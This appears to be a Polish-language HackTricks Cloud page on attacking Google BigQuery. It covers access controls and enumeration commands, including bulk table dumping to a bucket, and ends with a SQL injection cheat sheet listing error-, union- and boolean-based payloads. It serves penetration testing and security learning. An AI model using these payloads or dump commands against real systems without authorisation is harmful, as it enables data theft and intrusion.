GCP - Bigquery Enum
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
Podstawowe informacje
Google Cloud BigQuery to w pełni zarządzany, bezserwerowy magazyn danych dla przedsiębiorstw, oferujący możliwości analizy petabajtów danych, co pozwala na efektywne zarządzanie dużymi zbiorami danych. Jako Platforma jako Usługa (PaaS), zapewnia użytkownikom infrastrukturę i narzędzia do ułatwienia zarządzania danymi bez potrzeby ręcznego nadzoru.
Obsługuje zapytania przy użyciu ANSI SQL. Główne obiekty to zbiory danych zawierające tabele zawierające dane SQL.
Szyfrowanie
Domyślnie używany jest klucz szyfrowania zarządzany przez Google, chociaż możliwe jest skonfigurowanie klucza szyfrowania zarządzanego przez klienta (CMEK). Możliwe jest wskazanie klucza szyfrowania dla każdego zbioru danych i dla każdej tabeli w obrębie zbioru danych.
Wygasanie
Możliwe jest wskazanie czasu wygaśnięcia w zbiorze danych, dzięki czemu każda nowa tabela utworzona w tym zbiorze danych zostanie automatycznie usunięta po określonej liczbie dni od utworzenia.
Źródła zewnętrzne
Bigquery jest głęboko zintegrowany z innymi usługami Google. Możliwe jest ładowanie danych z bucketów, pub/sub, google drive, baz danych RDS…
ACL zbiorów danych
Gdy zbiór danych jest tworzony, dołączane są ACL, aby przyznać dostęp do niego. Domyślnie przyznawane są uprawnienia Właściciela dla użytkownika, który utworzył zbiór danych, a następnie Właściciela dla grupy projectOwners (Właściciele projektu), Pisarza dla grupy projectWriters oraz Czytelnika dla grupy projectReaders:
bq show --format=prettyjson <proj>:<dataset>
...
"access": [
{
"role": "WRITER",
"specialGroup": "projectWriters"
},
{
"role": "OWNER",
"specialGroup": "projectOwners"
},
{
"role": "OWNER",
"userByEmail": "gcp-admin@hacktricks.xyz"
},
{
"role": "OWNER",
"userByEmail": "support@hacktricks.xyz"
},
{
"role": "READER",
"specialGroup": "projectReaders"
}
],
...
Kontrola dostępu do wierszy tabeli
Możliwe jest kontrolowanie wierszy, do których podmiot będzie miał dostęp w tabeli za pomocą polityk dostępu do wierszy. Są one definiowane wewnątrz tabeli za pomocą DDL.
Polityka dostępu definiuje filtr, a tylko pasujące wiersze z tym filtrem będą dostępne dla wskazanych podmiotów.
# Create
CREATE ROW ACCESS POLICY apac_filter
ON project.dataset.my_table
GRANT TO ('user:abc@example.com')
FILTER USING (region = 'APAC');
# Update
CREATE OR REPLACE ROW ACCESS POLICY
CREATE ROW ACCESS POLICY sales_us_filter
ON project.dataset.my_table
GRANT TO ('user:john@example.com',
'group:sales-us@example.com',
'group:sales-managers@example.com')
FILTER USING (region = 'US');
# Check the Post Exploitation tricks to see how to call this from the cli
# Enumerate row policies on a table
bq ls --row_access_policies <proj>:<dataset>.<table> # Get row policies
Kontrola dostępu do kolumn
.png)
Aby ograniczyć dostęp do danych na poziomie kolumny:
- Zdefiniuj taksonomię i tagi polityki. Utwórz i zarządzaj taksonomią oraz tagami polityki dla swoich danych. https://console.cloud.google.com/bigquery/policy-tags
- Opcjonalnie: Przyznaj rolę Czytelnika z dokładnym dostępem do Katalogu Danych jednemu lub więcej podmiotom dla jednego lub więcej tagów polityki, które utworzyłeś.
- Przypisz tagi polityki do swoich kolumn BigQuery. W BigQuery użyj adnotacji schematu, aby przypisać tag polityki do każdej kolumny, w której chcesz ograniczyć dostęp.
- Wymuś kontrolę dostępu na taksonomii. Wymuszenie kontroli dostępu powoduje zastosowanie ograniczeń dostępu zdefiniowanych dla wszystkich tagów polityki w taksonomii.
- Zarządzaj dostępem do tagów polityki. Użyj Identity and Access Management (IAM) polityk, aby ograniczyć dostęp do każdego tagu polityki. Polityka obowiązuje dla każdej kolumny, która należy do tagu polityki.
Gdy użytkownik próbuje uzyskać dostęp do danych kolumny w czasie zapytania, BigQuery sprawdza tag polityki kolumny i jego politykę, aby zobaczyć, czy użytkownik jest uprawniony do uzyskania dostępu do danych.
Tip
Podsumowując, aby ograniczyć dostęp do niektórych kolumn dla niektórych użytkowników, możesz dodać tag do kolumny w schemacie i ograniczyć dostęp użytkowników do tagu, wymuszając kontrolę dostępu na taksonomii tagu.
Aby wymusić kontrolę dostępu na taksonomii, należy włączyć usługę:
gcloud services enable bigquerydatapolicy.googleapis.com
Można zobaczyć tagi kolumn za pomocą:
bq show --schema <proj>:<dataset>.<table>
[{"name":"username","type":"STRING","mode":"NULLABLE","policyTags":{"names":["projects/.../locations/us/taxonomies/2030629149897327804/policyTags/7703453142914142277"]},"maxLength":"20"},{"name":"age","type":"INTEGER","mode":"NULLABLE"}]
Enumeracja
# Dataset info
bq ls # List datasets
bq ls -a # List all datasets (even hidden)
bq ls <proj>:<dataset> # List tables in a dataset
bq show --format=prettyjson <proj>:<dataset> # Get info about the dataset (like ACLs)
# Tables info
bq show --format=prettyjson <proj>:<dataset>.<table> # Get table info
bq show --schema <proj>:<dataset>.<table> # Get schema of a table
# Get entries from the table
bq head <dataset>.<table>
bq query --nouse_legacy_sql 'SELECT * FROM `<proj>.<dataset>.<table-name>` LIMIT 1000'
bq extract <dataset>.<table> "gs://<bucket>/table*.csv" # Use the * so it can dump everything in different files
# Insert data
bq query --nouse_legacy_sql 'INSERT INTO `digital-bonfire-410512.importeddataset.tabletest` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)'
bq insert dataset.table /tmp/mydata.json
# Get permissions
bq get-iam-policy <proj>:<dataset> # Get dataset IAM policy
bq show --format=prettyjson <proj>:<dataset> # Get dataset ACLs
bq get-iam-policy <proj>:<dataset>.<table> # Get table IAM policy
bq ls --row_access_policies <proj>:<dataset>.<table> # Get row policies
# Taxonomies (Get the IDs from the shemas of the tables)
gcloud data-catalog taxonomies describe <taxonomi-ID> --location=<location>
gcloud data-catalog taxonomies list --location <location> #Find more
gcloud data-catalog taxonomies get-iam-policy <taxonomi-ID> --location=<location>
# Get jobs executed
bq ls --jobs=true --all=true
bq show --location=<location> show --format=prettyjson --job=true <job-id>
# Misc
bq show --encryption_service_account # Get encryption service account
BigQuery SQL Injection
Aby uzyskać więcej informacji, możesz sprawdzić wpis na blogu: https://ozguralp.medium.com/bigquery-sql-injection-cheat-sheet-65ad70e11eac. Tutaj podane zostaną tylko niektóre szczegóły.
Komentarze:
select 1#from here it is not workingselect 1/*between those it is not working*/Ale tylko ten początkowy nie zadziałaselect 1--from here it is not working
Uzyskaj informacje o środowisku takie jak:
- Bieżący użytkownik:
select session_user() - Id projektu:
select @@project_id
Klej wiersze:
- Wszystkie nazwy tabel:
string_agg(table_name, ', ')
Uzyskaj zbiory danych, tabele i nazwy kolumn:
- Nazwa projektu i zbioru danych:
SELECT catalog_name, schema_name FROM INFORMATION_SCHEMA.SCHEMATA
- Nazwy kolumn i tabel wszystkich tabel zestawu danych:
# SELECT table_name, column_name FROM <proj-name>.<dataset-name>.INFORMATION_SCHEMA.COLUMNS
SELECT table_name, column_name FROM <project-name>.<dataset-name>.INFORMATION_SCHEMA.COLUMNS
- Inne zbiory danych w tym samym projekcie:
# SELECT catalog_name, schema_name, FROM <proj-name>.INFORMATION_SCHEMA.SCHEMATA
SELECT catalog_name, schema_name, NULL FROM <project-name>.INFORMATION_SCHEMA.SCHEMATA
Typy SQL Injection:
- Oparte na błędach - rzutowanie:
select CAST(@@project_id AS INT64) - Oparte na błędach - dzielenie przez zero:
' OR if(1/(length((select('a')))-1)=1,true,false) OR ' - Oparte na unii (musisz użyć ALL w bigquery):
UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name# - Oparte na boolowskich:
' WHERE SUBSTRING((select column_name from `project_id.dataset_name.table_name` limit 1),1,1)='A'# - Potencjalnie oparte na czasie - Użycie publicznych zbiorów danych przykład:
SELECT * FROM `bigquery-public-data.covid19_open_data.covid19_open_data` LIMIT 1000
Dokumentacja:
- Lista wszystkich funkcji: https://cloud.google.com/bigquery/docs/reference/standard-sql/functions-and-operators
- Instrukcje skryptowe: https://cloud.google.com/bigquery/docs/reference/standard-sql/scripting
Eskalacja uprawnień i post eksploatacja
Utrzymywanie
Odniesienia
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
HackTricks Cloud

